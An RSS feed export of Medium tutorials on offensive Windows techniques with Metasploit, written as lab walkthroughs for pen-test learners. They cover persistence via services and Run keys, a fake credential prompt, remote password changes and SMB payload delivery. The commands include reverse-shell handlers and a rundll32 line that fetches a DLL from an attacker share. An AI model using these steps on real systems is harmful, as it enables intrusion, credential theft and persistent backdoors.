<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Priyankachandrakar on Medium]]></title>
        <description><![CDATA[Stories by Priyankachandrakar on Medium]]></description>
        <link>https://medium.com/@priyankachandrakar?source=rss-4cb6ecadb0ca------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dGDuwajMY3xEY5NuTk1o9A.png</url>
            <title>Stories by Priyankachandrakar on Medium</title>
            <link>https://medium.com/@priyankachandrakar?source=rss-4cb6ecadb0ca------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 22:10:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@priyankachandrakar/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Windows Persistence with Metasploit — Part 2: Persistence_exe]]></title>
            <link>https://priyankachandrakar.medium.com/windows-persistence-with-metasploit-part-2-persistence-exe-cd41bf437417?source=rss-4cb6ecadb0ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/cd41bf437417</guid>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Priyankachandrakar]]></dc:creator>
            <pubDate>Sat, 01 Aug 2026 12:38:43 GMT</pubDate>
            <atom:updated>2026-08-01T12:38:43.683Z</atom:updated>
            <content:encoded><![CDATA[<h3>Recap</h3><p>In <a href="https://claude.ai/chat/e96cbd40-8d89-4703-a11d-e3848a333584#">Part 1</a>, we covered Service Persistence — a method that registers a malicious executable as a Windows service so it survives reboots. It’s reliable, but it leaves a fairly obvious footprint: an unfamiliar service sitting in the services list.</p><p>In this part, we’ll look at a different approach — <strong>persistence via the registry Run key</strong> using the persistence_exe module. Instead of creating a service, this technique hooks into the autorun mechanism that most users never think to check.</p><blockquote><em>⚠️ </em><strong><em>Disclaimer:</em></strong><em> This walkthrough is for educational purposes only, performed in an isolated lab environment (Kali Linux attacking a Windows 10 VM) that you own or have explicit written authorization to test. Unauthorized access to computer systems is illegal.</em></blockquote><h3>Lab Setup / Pre-requisites</h3><ul><li><strong>Attacker:</strong> Kali Linux (Metasploit Framework)</li><li><strong>Victim:</strong> Windows 10 VM</li><li><strong>Requirement:</strong> An active Meterpreter session on the victim machine with at least user-level access</li></ul><p>Unlike Service Persistence, this method doesn’t strictly require admin rights — it can be installed at the user level too, though system-wide installation still needs elevated privileges.</p><h3>What is Persistence_exe?</h3><p>The persistence_exe module uploads an executable to the victim&#39;s system and configures it to run automatically at logon. It can be installed as a user, system, or service-level payload. Under the hood, it drops the file into the Temp directory and adds an entry under:</p><pre>HKCU\Software\Microsoft\Windows\CurrentVersion\Run</pre><p>Since almost every legitimate application uses this same Run key mechanism for its own startup entries, a malicious entry here can easily blend in — especially if the attacker names it convincingly.</p><h3>Step-by-Step Practical</h3><h3>Step 1: Run the persistence_exe module</h3><p>From your active Meterpreter session (session 1 in this case):</p><pre>use post/windows/manage/persistence_exe<br>set session 1<br>set rexepath /root/payload.exe<br>exploit</pre><p>The rexepath option points to the local payload file on Kali that gets uploaded to the victim. By default, the module saves it on the victim under the Temp directory with the name default.exe — you can override this using the rexname option if you want something less obvious.</p><h3>Step 2: Set up a listener for reconnection</h3><p>Once the payload is installed and the victim logs back in, you’ll need a handler ready to catch the callback:</p><pre>use exploit/multi/handler<br>set payload windows/meterpreter/reverse_tcp<br>set lhost 192.168.0.115<br>set lport 1234<br>exploit</pre><h3>Step 3: Wait for victim login</h3><p>As soon as the victim reboots and logs into their account, the Run key entry triggers automatically — no user interaction beyond a normal login is needed — and you get a fresh Meterpreter session.</p><h3>Verifying the persistence</h3><p>You can confirm the autorun entry by checking the Registry Editor on the victim machine, under:</p><pre>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\FOCxoPAO</pre><p>The random-looking key name (FOCxoPAO in this case) is auto-generated by the module by default, and the corresponding payload file sits in the Temp directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vUuRt-UP1Nzd-sAmTMpDOA.png" /></figure><h3>Detection &amp; Mitigation</h3><p>From a blue-team perspective:</p><ol><li><strong>Audit the Run key regularly</strong> — Use reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run or tools like Autoruns (Sysinternals) to review every autorun entry.</li><li><strong>Flag random/unfamiliar key names</strong> — Legitimate software rarely uses random alphanumeric strings as entry names; this is a strong indicator of compromise.</li><li><strong>Remove the malicious entry</strong> — Delete the entry from the Run key path shown above.</li><li><strong>Delete the payload file</strong> — Remove the executable from the Temp directory and reboot.</li><li><strong>General hygiene</strong> — Enable logging/auditing on registry changes (Sysmon Event ID 13 covers registry value sets), and consider application allowlisting to block unsigned executables from running via autorun.</li></ol><h3>Key Takeaway</h3><p>Persistence_exe trades the visibility of a full Windows service for the subtlety of a registry autorun entry — a technique attackers favor because Run keys are rarely scrutinized by average users. As we’ll see in Part 3, dedicated registry-based persistence modules push this idea even further.</p><p><strong>Next up — Part 3:</strong> We’ll explore the registry_persistence module, which installs the payload entirely within the registry itself.</p><h3>About the Author</h3><p>Hi, I’m <strong>Priyanka Chandrakar</strong> — a cybersecurity enthusiast, ethical hacker, bug bounty hunter, and OSCP aspirant with a passion for penetration testing, Windows security, Active Directory, web application security, and offensive security research.</p><p>I enjoy documenting practical lab exercises, sharing hands-on learning experiences, and breaking down complex cybersecurity concepts into beginner-friendly guides. Through my articles, I aim to help aspiring security professionals build strong practical skills while promoting ethical and responsible security testing.</p><h3>Connect with Me</h3><p>💻 <strong>GitHub:</strong> <a href="https://github.com/priyankachandrakar">https://github.com/priyankachandrakar</a></p><p>🔗 <strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/priyankachandrakar">https://www.linkedin.com/in/priyankachandrakar</a></p><p>𝕏 <strong>X (Twitter):</strong> <a href="https://x.com/priyankach76806">https://x.com/priyankach76806</a></p><p>✍️ <strong>Medium:</strong> <a href="https://medium.com/@priyankachandrakar">https://medium.com/@priyankachandrakar</a></p><h3>Enjoyed This Article?</h3><p>If you found this walkthrough helpful, please consider:</p><p>👏 Clapping for the article</p><p>💬 Sharing your thoughts in the comments</p><p>🔖 Saving it for future reference</p><p>🔄 Sharing it with fellow cybersecurity enthusiasts</p><p>👤 Following me on Medium for more practical cybersecurity content.</p><h3>Topics I Write About</h3><ul><li>OSCP Preparation</li><li>Ethical Hacking</li><li>Penetration Testing</li><li>Windows Enumeration</li><li>Linux Privilege Escalation</li><li>Active Directory Security</li><li>SMB Enumeration</li><li>Web Application Security</li><li>Bug Bounty Hunting</li><li>Metasploit Framework</li><li>Nmap &amp; Network Enumeration</li><li>Red Teaming</li><li>Capture The Flag (CTF) Write-ups</li><li>Cybersecurity Research</li></ul><h3>Thank You!</h3><p>Thank you for taking the time to read this article.</p><p>I hope it helped you better understand the and how Metasploit can be used in a safe, controlled lab environment for learning penetration testing concepts.</p><p><strong>Keep learning, keep practicing, and always hack responsibly — with proper authorization.</strong> 🚀</p><p>…</p><p>#OSCP #CyberSecurity #EthicalHacking #PenetrationTesting #SMB #Enumeration #WindowsSecurity #ActiveDirectory #BugBounty #InfoSec #RedTeam #KaliLinux #CyberDefense</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cd41bf437417" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Persistence with Metasploit — Part 1: Service Persistence]]></title>
            <link>https://priyankachandrakar.medium.com/windows-persistence-with-metasploit-part-1-service-persistence-bc968c801d95?source=rss-4cb6ecadb0ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc968c801d95</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Priyankachandrakar]]></dc:creator>
            <pubDate>Sat, 01 Aug 2026 12:34:17 GMT</pubDate>
            <atom:updated>2026-08-01T12:34:17.013Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Gaining initial access to a target system takes serious effort — recon, exploitation, privilege escalation, sometimes hours of trial and error. But here’s the catch: if the victim reboots the machine or changes their credentials, all of that access can vanish in seconds.</p><p>This is exactly why <strong>persistence</strong> is a critical phase in penetration testing. Persistence refers to a set of techniques attackers use to retain access to a compromised system even across restarts, credential changes, and other interruptions.</p><p>In this series, we’ll walk through five different Metasploit-based persistence techniques, one per article. This part covers <strong>Service Persistence</strong> — one of the most reliable methods since it survives reboots by registering itself as a Windows service.</p><blockquote><em>⚠️ </em><strong><em>Disclaimer:</em></strong><em> This walkthrough is for educational purposes only, performed in an isolated lab environment (Kali Linux attacking a Windows 10 VM) that you own or have explicit written authorization to test. Unauthorized access to computer systems is illegal.</em></blockquote><h3>Lab Setup / Pre-requisites</h3><ul><li><strong>Attacker:</strong> Kali Linux (Metasploit Framework)</li><li><strong>Victim:</strong> Windows 10 VM</li><li><strong>Requirement:</strong> An active Meterpreter session with admin/system privileges on the victim machine</li></ul><p>If you don’t already have a session, you’ll first need to exploit the target and escalate privileges — that’s covered separately, but for this walkthrough we assume you already have Meterpreter access with admin rights.</p><h3>What is Service Persistence?</h3><p>The persistence_service module generates an executable, uploads it to the victim system, and registers it as a Windows service. Since Windows services can be configured to auto-start, this means the payload runs automatically every time the machine boots — giving the attacker a fresh reverse shell without needing to re-exploit anything.</p><p>Admin or SYSTEM privilege is required to install a service, so this method assumes you’ve already escalated privileges on the target.</p><h3>Step-by-Step Practical</h3><h3>Step 1: Run the persistence_service module</h3><p>From your active Meterpreter session on Kali:</p><pre>use exploit/windows/local/persistence_service<br>set session 2<br>set lport 5678<br>exploit</pre><p>This module drops an executable into the victim’s C:\Windows\Temp\ directory (in our case, named lVFC.exe) and registers it as a Windows service.</p><h3>Step 2: Set up a listener for reconnection</h3><p>Once the victim reboots, the current Meterpreter session will drop. To catch the new connection when the service auto-starts, set up a multi/handler:</p><pre>use exploit/multi/handler<br>set payload windows/meterpreter/reverse_tcp<br>set lhost 192.168.0.115<br>set lport 5678<br>exploit</pre><h3>Step 3: Wait for reboot</h3><p>As soon as the victim’s system restarts, the malicious service starts automatically along with other default Windows services — and you get a fresh Meterpreter session, no re-exploitation needed.</p><h3>Verifying the persistence</h3><p>On the victim machine, you can confirm the executable is running under the SYSTEM account and trace its path:</p><pre>C:\Windows\Temp\lVFC.exe</pre><p>This is what makes service persistence powerful — it runs with high privileges and doesn’t depend on any specific user logging in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k8mY1712BxxVq4dpTRqw1A.png" /></figure><h3>Detection &amp; Mitigation</h3><p>From a blue-team perspective, here’s how to spot and remove this:</p><ol><li><strong>Identify unfamiliar services</strong> — Check services.msc or Get-Service in PowerShell for unrecognized service names.</li><li><strong>Locate and terminate the process</strong> — Find the running executable (e.g., lVFC.exe) via Task Manager or tasklist, and kill it.</li><li><strong>Delete the payload</strong> — Remove the executable from C:\Windows\Temp\.</li><li><strong>Remove the service entry</strong> — Delete the malicious service registration so it doesn’t respawn on next boot.</li><li><strong>General hygiene</strong> — Regularly audit services running under SYSTEM, monitor Temp directories for executables, and use EDR/antivirus tools that flag unsigned binaries auto-starting as services.</li></ol><h3>Key Takeaway</h3><p>Service Persistence is simple to execute but leaves a fairly visible footprint (an unfamiliar service + an exe sitting in Temp). It’s a great starting point for understanding persistence concepts, but as we’ll see in later parts of this series, some methods (like registry-based persistence) are stealthier.</p><p><strong>Next up — Part 2:</strong> We’ll look at the persistence_exe module, which installs persistence via the registry Run key instead of a Windows service.</p><h3>About the Author</h3><p>Hi, I’m <strong>Priyanka Chandrakar</strong> — a cybersecurity enthusiast, ethical hacker, bug bounty hunter, and OSCP aspirant with a passion for penetration testing, Windows security, Active Directory, web application security, and offensive security research.</p><p>I enjoy documenting practical lab exercises, sharing hands-on learning experiences, and breaking down complex cybersecurity concepts into beginner-friendly guides. Through my articles, I aim to help aspiring security professionals build strong practical skills while promoting ethical and responsible security testing.</p><h3>Connect with Me</h3><p>💻 <strong>GitHub:</strong> <a href="https://github.com/priyankachandrakar">https://github.com/priyankachandrakar</a></p><p>🔗 <strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/priyankachandrakar">https://www.linkedin.com/in/priyankachandrakar</a></p><p>𝕏 <strong>X (Twitter):</strong> <a href="https://x.com/priyankach76806">https://x.com/priyankach76806</a></p><p>✍️ <strong>Medium:</strong> <a href="https://medium.com/@priyankachandrakar">https://medium.com/@priyankachandrakar</a></p><h3>Enjoyed This Article?</h3><p>If you found this walkthrough helpful, please consider:</p><p>👏 Clapping for the article</p><p>💬 Sharing your thoughts in the comments</p><p>🔖 Saving it for future reference</p><p>🔄 Sharing it with fellow cybersecurity enthusiasts</p><p>👤 Following me on Medium for more practical cybersecurity content.</p><h3>Topics I Write About</h3><ul><li>OSCP Preparation</li><li>Ethical Hacking</li><li>Penetration Testing</li><li>Windows Enumeration</li><li>Linux Privilege Escalation</li><li>Active Directory Security</li><li>SMB Enumeration</li><li>Web Application Security</li><li>Bug Bounty Hunting</li><li>Metasploit Framework</li><li>Nmap &amp; Network Enumeration</li><li>Red Teaming</li><li>Capture The Flag (CTF) Write-ups</li><li>Cybersecurity Research</li></ul><h3>Thank You!</h3><p>Thank you for taking the time to read this article.</p><p>I hope it helped you better understand the and how Metasploit can be used in a safe, controlled lab environment for learning penetration testing concepts.</p><p><strong>Keep learning, keep practicing, and always hack responsibly — with proper authorization.</strong> 🚀</p><p>…</p><p>#OSCP #CyberSecurity #EthicalHacking #PenetrationTesting #SMB #Enumeration #WindowsSecurity #ActiveDirectory #BugBounty #InfoSec #RedTeam #KaliLinux #CyberDefense</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc968c801d95" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack Remote Windows Password using Phishing Login Prompt Exploit]]></title>
            <link>https://priyankachandrakar.medium.com/hack-remote-windows-password-using-phishing-login-prompt-exploit-c9859bf3717a?source=rss-4cb6ecadb0ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/c9859bf3717a</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Priyankachandrakar]]></dc:creator>
            <pubDate>Tue, 28 Jul 2026 13:16:11 GMT</pubDate>
            <atom:updated>2026-07-28T13:16:11.475Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A post-exploitation guide showing how a fake Windows login popup can be used to capture a victim’s credentials via Meterpreter.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vau6F4RV1obGgEUbMFC5IQ.png" /></figure><h3>Introduction</h3><p>Once an attacker has an active Meterpreter session on a Windows target, Metasploit includes a post-exploitation module that displays a <strong>fake Windows credential prompt</strong> to the victim. If the victim enters their username and password (believing it’s a legitimate system prompt), the credentials are captured and sent back to the attacker.</p><blockquote><em>⚠️ </em><strong><em>Disclaimer:</em></strong><em> Only perform this on your own lab VMs with proper authorization. Using this against real users without consent is both unethical and illegal.</em></blockquote><h3>Prerequisites</h3><p>This requires an active Meterpreter session — established via one of the earlier techniques (e.g., SMB delivery, HTTP payload delivery).</p><h3>Step 1: Search for the phishing module</h3><pre>search post windows phish</pre><h3>Step 2: Load the module</h3><pre>use 0</pre><p>Module used:</p><pre>post/windows/gather/phish_windows_credentials</pre><h3>Step 3: Confirm active session</h3><pre>sessions</pre><p>Confirms a session is active and ready.</p><h3>Step 4: Run the module</h3><pre>set SESSION 1<br>run</pre><p>This displays a fake login popup on the victim’s screen and prompts them to enter their password.</p><h3>Step 5: Victim sees the popup</h3><p>Output on the attacker side:</p><pre>Waiting on the user to fill in his credentials...</pre><h3>Step 6: Credentials captured</h3><p>Once the victim enters their details, they appear on screen:</p><pre>UserName  Domain          Password<br>shivi     DESKTOP-...     ****</pre><p>This confirms the username and password were successfully captured.</p><h3>Mitigation</h3><ul><li>Train users to be cautious of unexpected credential prompts, especially ones that reappear without clear context.</li><li>Use multi-factor authentication so a captured password alone isn’t enough to gain access.</li><li>Deploy EDR/antivirus tools capable of detecting known credential-phishing post-exploitation modules.</li><li>Restrict and monitor which processes can spawn UI prompts on user desktops.</li></ul><h3>Conclusion</h3><p>This module demonstrates how a compromised machine can be used to socially engineer a user into voluntarily giving up their credentials — a reminder that technical compromise plus a convincing prompt can be just as effective as a network-level attack. Credential hygiene and user awareness training remain key defenses against this class of technique.</p><h3>About the Author</h3><p>Hi, I’m <strong>Priyanka Chandrakar</strong> — a cybersecurity enthusiast, ethical hacker, bug bounty hunter, and OSCP aspirant with a passion for penetration testing, Windows security, Active Directory, web application security, and offensive security research.</p><p>I enjoy documenting practical lab exercises, sharing hands-on learning experiences, and breaking down complex cybersecurity concepts into beginner-friendly guides. Through my articles, I aim to help aspiring security professionals build strong practical skills while promoting ethical and responsible security testing.</p><h3>Connect with Me</h3><p>💻 <strong>GitHub:</strong> <a href="https://github.com/priyankachandrakar">https://github.com/priyankachandrakar</a></p><p>🔗 <strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/priyankachandrakar">https://www.linkedin.com/in/priyankachandrakar</a></p><p>𝕏 <strong>X (Twitter):</strong> <a href="https://x.com/priyankach76806">https://x.com/priyankach76806</a></p><p>✍️ <strong>Medium:</strong> <a href="https://medium.com/@priyankachandrakar">https://medium.com/@priyankachandrakar</a></p><h3>Enjoyed This Article?</h3><p>If you found this walkthrough helpful, please consider:</p><p>👏 Clapping for the article</p><p>💬 Sharing your thoughts in the comments</p><p>🔖 Saving it for future reference</p><p>🔄 Sharing it with fellow cybersecurity enthusiasts</p><p>👤 Following me on Medium for more practical cybersecurity content.</p><h3>Topics I Write About</h3><ul><li>OSCP Preparation</li><li>Ethical Hacking</li><li>Penetration Testing</li><li>Windows Enumeration</li><li>Linux Privilege Escalation</li><li>Active Directory Security</li><li>SMB Enumeration</li><li>Web Application Security</li><li>Bug Bounty Hunting</li><li>Metasploit Framework</li><li>Nmap &amp; Network Enumeration</li><li>Red Teaming</li><li>Capture The Flag (CTF) Write-ups</li><li>Cybersecurity Research</li></ul><h3>Thank You!</h3><p>Thank you for taking the time to read this article.</p><p>I hope it helped you better understand the and how Metasploit can be used in a safe, controlled lab environment for learning penetration testing concepts.</p><p><strong>Keep learning, keep practicing, and always hack responsibly — with proper authorization.</strong> 🚀</p><p>…</p><p>#OSCP #CyberSecurity #EthicalHacking #PenetrationTesting #SMB #Enumeration #WindowsSecurity #ActiveDirectory #BugBounty #InfoSec #RedTeam #KaliLinux #CyberDefense</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c9859bf3717a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Set a New Password on a Victim PC Remotely (Post-Exploitation)]]></title>
            <link>https://priyankachandrakar.medium.com/set-a-new-password-on-a-victim-pc-remotely-post-exploitation-5a570c0156bd?source=rss-4cb6ecadb0ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a570c0156bd</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Priyankachandrakar]]></dc:creator>
            <pubDate>Tue, 28 Jul 2026 13:00:29 GMT</pubDate>
            <atom:updated>2026-07-28T13:00:29.602Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A post-exploitation guide showing how to remotely change a Windows user’s password using an active Meterpreter session.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vau6F4RV1obGgEUbMFC5IQ.png" /></figure><h3>Introduction</h3><p>Once an attacker has an active Meterpreter session with sufficient privileges, Metasploit’s change_password module can be used to remotely change a Windows account&#39;s password. This is a common demonstration of the level of control gained after successful exploitation.</p><blockquote><em>⚠️ </em><strong><em>Disclaimer:</em></strong><em> Only perform this on your own lab VMs with proper authorization. Changing another user’s password without consent is illegal and disruptive.</em></blockquote><h3>Prerequisites</h3><p>This requires an active Meterpreter session with adequate privileges (established via an earlier exploitation technique).</p><h3>Step 1: Search for the module</h3><pre>search post windows password change</pre><h3>Step 2: Select the module</h3><pre>use 4</pre><p>Module used:</p><pre>post/windows/manage/change_password</pre><h3>Step 3: Check required options</h3><pre>options</pre><p>Required fields:</p><ul><li>NEW_PASSWORD</li><li>OLD_PASSWORD</li><li>SESSION</li><li>SMBUser</li></ul><h3>Step 4: Set the values</h3><pre>set NEW_PASSWORD 123<br>set OLD_PASSWORD shivi<br>set SMBUser shivi<br>set SESSION 1</pre><h3>Step 5: Run the module</h3><pre>run</pre><h3>Step 6: Result</h3><pre>Password change successful</pre><p>The old password has been changed to the new one (123).</p><h3>Mitigation</h3><ul><li>Enforce least-privilege access so a compromised session doesn’t have rights to change account credentials.</li><li>Monitor for unexpected password change events via Windows Event Logs (Event ID 4724).</li><li>Use strong password policies and account lockout notifications so unauthorized changes are noticed quickly.</li><li>Limit SMB-based administrative actions to trusted management hosts only.</li></ul><h3>Conclusion</h3><p>This module illustrates just how much control an attacker gains once they have a privileged session — including the ability to lock a legitimate user out of their own account by changing their password. It’s a strong reminder of why privilege restriction and monitoring for account-management events matter in a real environment.</p><h3>About the Author</h3><p>Hi, I’m <strong>Priyanka Chandrakar</strong> — a cybersecurity enthusiast, ethical hacker, bug bounty hunter, and OSCP aspirant with a passion for penetration testing, Windows security, Active Directory, web application security, and offensive security research.</p><p>I enjoy documenting practical lab exercises, sharing hands-on learning experiences, and breaking down complex cybersecurity concepts into beginner-friendly guides. Through my articles, I aim to help aspiring security professionals build strong practical skills while promoting ethical and responsible security testing.</p><h3>Connect with Me</h3><p>💻 <strong>GitHub:</strong> <a href="https://github.com/priyankachandrakar">https://github.com/priyankachandrakar</a></p><p>🔗 <strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/priyankachandrakar">https://www.linkedin.com/in/priyankachandrakar</a></p><p>𝕏 <strong>X (Twitter):</strong> <a href="https://x.com/priyankach76806">https://x.com/priyankach76806</a></p><p>✍️ <strong>Medium:</strong> <a href="https://medium.com/@priyankachandrakar">https://medium.com/@priyankachandrakar</a></p><h3>Enjoyed This Article?</h3><p>If you found this walkthrough helpful, please consider:</p><p>👏 Clapping for the article</p><p>💬 Sharing your thoughts in the comments</p><p>🔖 Saving it for future reference</p><p>🔄 Sharing it with fellow cybersecurity enthusiasts</p><p>👤 Following me on Medium for more practical cybersecurity content.</p><h3>Topics I Write About</h3><ul><li>OSCP Preparation</li><li>Ethical Hacking</li><li>Penetration Testing</li><li>Windows Enumeration</li><li>Linux Privilege Escalation</li><li>Active Directory Security</li><li>SMB Enumeration</li><li>Web Application Security</li><li>Bug Bounty Hunting</li><li>Metasploit Framework</li><li>Nmap &amp; Network Enumeration</li><li>Red Teaming</li><li>Capture The Flag (CTF) Write-ups</li><li>Cybersecurity Research</li></ul><h3>Thank You!</h3><p>Thank you for taking the time to read this article.</p><p>I hope it helped you better understand the and how Metasploit can be used in a safe, controlled lab environment for learning penetration testing concepts.</p><p><strong>Keep learning, keep practicing, and always hack responsibly — with proper authorization.</strong> 🚀</p><p>…</p><p>#OSCP #CyberSecurity #EthicalHacking #PenetrationTesting #SMB #Enumeration #WindowsSecurity #ActiveDirectory #BugBounty #InfoSec #RedTeam #KaliLinux #CyberDefense</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a570c0156bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack Remote Windows PC using DLL Files (SMB Delivery Exploit) — Metasploit Walkthrough]]></title>
            <link>https://priyankachandrakar.medium.com/hack-remote-windows-pc-using-dll-files-smb-delivery-exploit-metasploit-walkthrough-378000b803c3?source=rss-4cb6ecadb0ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/378000b803c3</guid>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[metasploit]]></category>
            <dc:creator><![CDATA[Priyankachandrakar]]></dc:creator>
            <pubDate>Mon, 27 Jul 2026 13:15:00 GMT</pubDate>
            <atom:updated>2026-07-27T13:15:00.862Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A beginner-friendly guide explaining how the smb_delivery module can be used to deliver a payload to a Windows target via SMB.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Racb2NUyWVJk95rxoJQAg.png" /></figure><h3>Introduction</h3><p>The <strong>SMB Delivery</strong> exploit is a client-side technique — instead of directly attacking a service, it sets up a fake SMB server on the attacker’s machine and hosts a malicious DLL. When the victim executes a specific rundll32.exe command (typically via social engineering), the DLL is fetched from the attacker&#39;s SMB share and executed, giving the attacker a session on the victim&#39;s Windows machine.</p><p>This is a well-known lab exercise used to practice <strong>Meterpreter post-exploitation</strong> skills.</p><blockquote><em>⚠️ </em><strong><em>Disclaimer:</em></strong><em> Only run this exploit on your own lab machines (e.g., a Windows VM you control) with proper authorization. Using this against real systems without consent is illegal.</em></blockquote><h3>Step-by-Step: Running the Exploit in Metasploit Console</h3><h3>Step 1: Open msfconsole</h3><pre>msfconsole</pre><p>This starts the Metasploit Framework — all exploits and payloads are used from here.</p><h3>Step 2: Search for SMB delivery module</h3><pre>msf &gt; search smb_delivery</pre><p>This searches Metasploit for SMB-delivery-related modules. The output gives a numbered list, for example:</p><pre>0  exploit/windows/smb/smb_delivery</pre><h3>Step 3: Load the module</h3><pre>msf &gt; use 0</pre><p>or</p><pre>msf &gt; use exploit/windows/smb/smb_delivery</pre><p>This loads the module from the search result. The prompt changes to:</p><pre>msf exploit(smb_delivery) &gt;</pre><h3>Step 4: Set SRVHOST</h3><pre>set SRVHOST eth0</pre><p>or</p><pre>set SRVHOST 192.168.30.148</pre><p>SRVHOST is the attacker&#39;s IP address — where the payload/SMB server will run.</p><ul><li><strong>Option 1 — </strong><strong>eth0:</strong> Metasploit automatically picks up the IP of the eth0 interface. This is an easy option in a lab/VM environment.</li><li><strong>Option 2 — manual IP:</strong> Directly set your Kali machine’s IP. This is more reliable and recommended.</li></ul><h3>Step 5: Run the exploit</h3><pre>run</pre><p>This starts the smb_delivery exploit — an SMB server and a reverse handler start running in the background.</p><h3>Step 6: Copy the payload command</h3><pre>rundll32.exe \\192.168.30.148\PAAL\test.dll,0</pre><p>This is the payload command that needs to be executed on the victim’s Windows PC (e.g., via a phishing pretext, in a real authorized engagement).</p><h3>Step 7: Check for an active session</h3><pre>sessions</pre><p>This checks whether a victim has connected. Output should show something like:</p><pre>1  active session</pre><h3>Step 8: Enter the session</h3><pre>sessions -i 1</pre><p>This enters session ID 1 — you are now connected to the victim’s system.</p><h3>Post-Exploitation: Meterpreter Commands</h3><h3>Take a screenshot</h3><pre>screenshot</pre><p>Captures a live screenshot of the victim’s desktop — proof that access has been obtained.</p><h3>Check the logged-in user</h3><pre>getuid</pre><p>Shows which user is logged in and whether they have admin rights.</p><h3>Watch the live screen</h3><pre>screenshare</pre><p>Lets you view the victim’s screen in real time.</p><h3>List files (Windows side)</h3><pre>ls</pre><p>Lists files in the victim’s current folder (equivalent to dir on Windows).</p><h3>Check current directory</h3><pre>pwd</pre><p>Shows which folder you’re currently in, e.g.:</p><pre>C:\Users\Public</pre><h3>Upload a file (Kali → Windows)</h3><pre>upload ip.txt</pre><p>Copies ip.txt from Kali to the victim&#39;s Windows machine.</p><h3>Confirm the upload</h3><pre>ls</pre><p>ip.txt should now appear in the listing, confirming a successful upload.</p><h3>Download a file (Windows → Kali)</h3><pre>download abc.txt</pre><p>Copies abc.txt from the victim&#39;s Windows machine to your Kali machine.</p><h3>Drop into a Windows shell</h3><pre>shell</pre><p>Exits Meterpreter and gives you the victim’s Command Prompt (cmd).</p><h3>Check current user</h3><pre>whoami</pre><p>Shows the current user in the format:</p><pre>DESKTOP\username</pre><p>This tells you which user’s rights you have.</p><h3>Check user privileges</h3><pre>whoami /priv</pre><p>Shows the user’s special rights/privileges, such as:</p><ul><li>SeShutdownPrivilege</li><li>SeDebugPrivilege</li></ul><p>This is where you determine whether privilege escalation is possible.</p><h3>Mitigation (How to prevent this in the real world)</h3><ul><li>Educate users against running unknown/untrusted rundll32 commands or executables.</li><li>Block outbound SMB (port 445) traffic to untrusted external hosts.</li><li>Use application whitelisting to prevent execution of unauthorized DLLs.</li><li>Keep endpoint detection and antivirus solutions updated to catch such payload delivery techniques.</li></ul><h3>Conclusion</h3><p>The SMB Delivery module is a great way to understand client-side exploitation and Meterpreter post-exploitation workflow: get a session → gather info → move files → drop to shell → check privileges. It’s an important building block for understanding real-world attack chains in a safe, authorized lab setting.</p><p><em>If you’re preparing for eJPT or OSCP, practicing this full workflow — session handling, file transfer, and privilege 